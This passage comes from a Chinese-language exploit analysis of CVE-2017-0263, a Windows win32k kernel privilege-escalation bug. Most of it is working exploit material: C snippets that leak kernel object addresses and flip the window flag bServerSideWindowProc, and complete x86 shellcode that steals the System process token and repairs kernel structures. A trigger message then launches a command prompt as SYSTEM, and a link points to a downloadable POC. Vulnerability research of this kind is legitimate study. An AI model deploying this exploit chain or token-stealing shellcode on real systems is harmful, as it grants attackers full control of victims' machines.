pvAddrFlags = *(PBYTE *)((PBYTE)xxHMValidateHandle(hWindowHunt) + 0x10) + 0x16;

接着将先前初始化的结构体 SHELLCODE 对象的成员域 pfnWindProc 起始地址设置为载体窗口对象 hWindowHunt 的消息处理函数:

SetWindowLongW(hWindowHunt, GWL_WNDPROC, (LONG)pvShellCode->pfnWindProc);

在利用代码的自定义阴影窗口消息处理函数 xxxShadowWindowProc 中初始化 MENUNAME 字段缓冲区数值时,将成员标志位 bDialogWindow 的地址减 4 字节偏移的地址作为伪造 tagPOPUPMENU 对象的某个窗口对象指针成员域(例如 spwndPrevPopup 成员域)的数值,使前面提到的三个标志位正好位于该指针成员域指向的“窗口对象”的锁计数成员域 cLockObj 的最低 3 比特位:

dwPopupFake[0x4] = (DWORD)pvAddrFlags - 4; //->spwndPrevPopup

在函数 xxxMNEndMenuState 执行期间,系统为根弹出菜单对象的成员域 spwndPrevPopup 调用函数 HMAssignmentUnlock 以解除对目标窗口对象的赋值锁时,将直接对以成员标志位 bDialogWindow 地址起始的 32 位数值自减,这将使成员标志位 bServerSideWindowProc 被置位。


通过自减指令使目标比特位被置位

由于成员标志位 bServerSideWindowProc 置位,载体窗口对象将获得在内核上下文直接执行窗口对象消息处理函数的能力。


ShellCode

ShellCode 函数代码将作为载体窗口对象的自定义消息处理函数在内核上下文直接执行。在构造 ShellCode 函数代码之前,首先对所需的数据进行初始化和赋值。

根据前面构造的利用代码,我们已实现漏洞触发后在函数 xxxMNEndMenuState 第二次执行期间不引发系统异常而成功执行,但第二次释放的根弹出菜单对象实际上是批量创建的普通窗口对象中某个窗口对象所属窗口类 tagCLS 对象的成员域 lpszMenuName 指向的缓冲区。这将导致在进程退出时销毁用户对象期间,系统在内核中释放目标窗口类对象成员域 lpszMenuName 时引发重复释放的异常,因此需要在 ShellCode 代码中将目标窗口类对象的成员域 lpszMenuName 置空。

在利用代码批量创建普通窗口对象期间,增加获取每个窗口对象的成员域 pcls 指向地址的语句,并将获取到的各个 pcls 指向地址存储在结构体 SHELLCODE 对象的成员数组 tagCLS[] 中。

static constexpr UINT num_offset_WND_pcls = 0x64;
for (INT i = 0; i < iWindowCount; i++)
{
    pvShellCode->tagCLS[i] = *(PVOID *)((PBYTE)xxHMValidateHandle(hWindowList[i]) + num_offset_WND_pcls);
}

获取 tagCLS 地址并存储在结构体 SHELLCODE 对象的利用代码

查找需置空成员域 lpszMenuName 的目标窗口类对象需要通过与根弹出菜单对象的内核地址进行匹配,因此需要利用代码在用户进程中获取根弹出菜单对象的内核地址。这可以在事件通知处理函数 xxWindowEventProc 中实现:

VOID CALLBACK
xxWindowEventProc(
    HWINEVENTHOOK hWinEventHook,
    DWORD         event,
    HWND          hwnd,
    LONG          idObject,
    LONG          idChild,
    DWORD         idEventThread,
    DWORD         dwmsEventTime
)
{
    if (iMenuCreated == 0)
    {
        popupMenuRoot = *(DWORD *)((PBYTE)xxHMValidateHandle(hwnd) + 0xb0);
    }
    if (++iMenuCreated >= 2)
    {
        SendMessageW(hwnd, MN_ENDMENU, 0, 0);
    }
    else
    {
        SendMessageW(hwnd, WM_LBUTTONDOWN, 1, 0x00020002);
    }
}

在函数 xxWindowEventProc 中增加获取根弹出菜单对象地址的利用代码

在利用代码开始的位置初始化结构体 SHELLCODE 对象缓冲区时,拷贝利用函数 xxPayloadWindProc 的代码到 SHELLCODE 对象缓冲区中。接下来实现对 xxPayloadWindProc 函数代码的构造。该函数的代码将作为载体窗口对象的内核模式消息处理函数在内核上下文中执行。与在用户上下文中执行的窗口对象消息处理函数稍有不同的是,内核模式窗口对象消息处理函数的第 1 个参数是指向目标窗口 tagWND 对象的指针,其余参数都相同。

为了精确识别触发提权的操作,在代码中定义 0x9F9F 为触发提权的消息。在 ShellCode 函数代码中,我们首先判断传入的消息参数是否是我们自定义的提权消息:

push    ebp
mov     ebp,esp
mov     eax,dword ptr [ebp+0Ch]
cmp     eax,9F9Fh
jne     LocFAILED

在 32 位的 Windows 操作系统中,用户上下文代码段寄存器 CS 值为 0x1B,借助这个特性,在 ShellCode 函数代码中判断当前执行上下文是否在用户模式下,如是则返回失败。

mov     ax,cs
cmp     ax,1Bh
je      LocFAILED

恢复载体窗口对象的成员标志位为初始值。与之前修改标志位时的自减相对地,使成员标志位 bDialogWindow 地址起始的 32 位数据直接自增,这样一来,成员标志位 bServerSideWindowProc 等被修改的标志位将恢复到修改之前的状态。

cld
mov     ecx,dword ptr [ebp+8]
inc     dword ptr [ecx+16h]

首先备份当前所有通用寄存器的数值在栈上,接下来通过 CALL-POP 技术获取当前 EIP 执行指令的地址,并根据相对偏移计算出存储在 ShellCode 函数代码前面位置的结构体 SHELLCODE 对象的首地址:

pushad
call    $+5
pop     edx
sub     edx,443h

遍历结构体 SHELLCODE 对象存储的 tagCLS 数组并与通过参数 wParam 传入的根弹出菜单对象的内核地址进行匹配,并将匹配到的 tagCLS 对象的成员域 lpszMenuName 置空。

mov     ebx,100h
lea     esi,[edx+18h]
mov     edi,dword ptr [ebp+10h]

LocForCLS:
test    ebx,ebx
je      LocGetEPROCESS
lods    dword ptr [esi]
dec     ebx
cmp     eax,0
je      LocForCLS
add     eax,dword ptr [edx+8]
cmp     dword ptr [eax],edi
jne     LocForCLS
and     dword ptr [eax],0
jmp     LocForCLS

接下来获取载体窗口对象头部结构中存储的线程信息 tagTHREADINFO 对象指针,并继续获取线程信息对象中存储的进程信息 tagPROCESSINFO 对象指针,并获取对应进程的进程体 EPROCESS 对象指针。各个成员域的偏移在结构体 SHELLCODE 对象中存储。

LocGetEPROCESS:
mov     ecx,dword ptr [ecx+8]
mov     ebx,dword ptr [edx+0Ch]
mov     ecx,dword ptr [ebx+ecx]
mov     ecx,dword ptr [ecx]
mov     ebx,dword ptr [edx+10h]
mov     eax,dword ptr [edx+4]

接下来根据进程体 EPROCESS 对象的成员域 ActiveProcessLinks 双向链表和成员域 UniqueProcessId 进程标识符找到当前进程的 EPROCESS 地址。由于 UniqueProcessId 是成员域 ActiveProcessLinks 的前一个成员域,因此直接使用 SHELLCODE 对象中存储的 ActiveProcessLinks 偏移值来定位 UniqueProcessId 的位置。

push    ecx

LocForCurrentPROCESS:
cmp     dword ptr [ebx+ecx-4],eax
je      LocFoundCURRENT
mov     ecx,dword ptr [ebx+ecx]
sub     ecx,ebx
jmp     LocForCurrentPROCESS

LocFoundCURRENT:
mov     edi,ecx
pop     ecx

紧接着继续遍历进程体 EPROCESS 对象链表,以找到 System 进程的进程体对象地址。

LocForSystemPROCESS:
cmp     dword ptr [ebx+ecx-4],4
je      LocFoundSYSTEM
mov     ecx,dword ptr [ebx+ecx]
sub     ecx,ebx
jmp     LocForSystemPROCESS

LocFoundSYSTEM:
mov     esi,ecx

执行到这一步已定位到当前进程和 System 进程的进程体对象地址,接下来就使用 System 进程的成员域 Token 指针替换当前进程的 Token 指针。

mov     eax,dword ptr [edx+14h]
add     esi,eax
add     edi,eax
lods    dword ptr [esi]
stos    dword ptr es:[edi]

此时当前进程已拥有 System 进程的 Token 指针,额外增加的引用需要手动为目标 Token 对象增加对象引用计数。在 NT 执行体模块中大多数内核对象都是以 OBJECT_HEADER 结构体作为头部结构:

kd> dt nt!_OBJECT_HEADER
   +0x000 PointerCount     : Int4B
   +0x004 HandleCount      : Int4B
   [...]
   +0x014 SecurityDescriptor : Ptr32 Void
   +0x018 Body             : _QUAD

该结构位于内核对象地址前面的位置,内核对象起始于 OBJECT_HEADER 结构体的 Body 成员域。手动增加指针引用需要对成员域 PointerCount 进行自增。

and     eax,0FFFFFFF8h
add     dword ptr [eax-18h],2

接下来大功告成,恢复前面备份的通用寄存器的数值到寄存器中,并赋值返回值为 0x9F9F 作为向调用者的反馈信息。

popad
mov     eax,9F9Fh
jmp     LocRETURN

LocFAILED:
mov     eax,1

LocRETURN:
leave
ret     10h

至此 ShellCode 函数代码已编写完成。


触发提权

万事俱备,只欠东风。接下来在利用代码的自定义阴影窗口消息处理函数 xxShadowWindowProc 中调用系统服务 NtUserMNDragLeave 之后的位置增加对载体窗口对象发送自定义提权消息 0x9F9F 的调用语句,并将返回值的判断结果存储在全局变量 bDoneExploit 中。

LRESULT Triggered = SendMessageW(hWindowHunt, 0x9F9F, popupMenuRoot, 0);
bDoneExploit = Triggered == 0x9F9F;

在函数 xxShadowWindowProc 中增加发送提权消息的利用代码

这样一来,在执行系统服务 NtUserMNDragLeave 以置位载体窗口对象的成员标志位 bServerSideWindowProc 之后,函数发送 0x9F9F 消息并将根弹出菜单对象的内核地址作为 wParam 参数传入,执行流将在内核上下文中直接调用载体窗口对象的自定义消息处理函数,执行到由用户进程定义的 ShellCode 代码中,实现内核提权和相关内核用户对象成员域的修复。

通过主线程监听全局变量 bDoneExploit 是否被赋值;如成功赋值则创建新的命令提示符进程。


启动的命令提示符进程已属于 System 用户身份

可以观测到新启动的命令提示符已属于 System 用户身份。


后记

在本分析中构造验证代码和利用代码时,处理逻辑与原攻击样本的代码稍有差异。例如,攻击样本为了保证成功率,在代码中增加了暂时挂起全部线程的操作,还将菜单和子菜单的个数设定为 3 个,还有重试机制等。在本分析中为了实现最简验证和利用代码,对这些不必要的因素进行了省略。

0x5 链接

本分析的英文版本:https://xiaodaozhi.com/exploit/117.html

[0] 本分析的 POC 下载

https://github.com/leeqwind/HolicPOC/blob/master/windows/win32k/CVE-2017-0263/x86.cpp

[1] Kernel Attacks through User-Mode Callbacks

http://media.blackhat.com/bh-us-11/Mandt/BH_US_11_Mandt_win32k_WP.pdf

[2] 从 Dump 到 POC 系列一: Win32k 内核提权漏洞分析

http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/

[3] TrackPopupMenuEx function (Windows)

https://msdn.microsoft.com/en-us/library/windows/desktop/ms648003(v=vs.85).aspx

[4] sam-b/windows_kernel_address_leaks

https://github.com/sam-b/windows_kernel_address_leaks

[5] Sednit adds two zero-day exploits using 'Trump's attack on Syria' as a decoy

https://www.welivesecurity.com/2017/05/09/sednit-adds-two-zero-day-exploits-using-trumps-attack-syria-decoy/

[6] EPS Processing Zero-Days Exploited by Multiple Threat Actors

https://www.fireeye.com/blog/threat-research/2017/05/eps-processing-zero-days.html

- THE END -

文章链接: https://www.anquanke.com/post/id/102377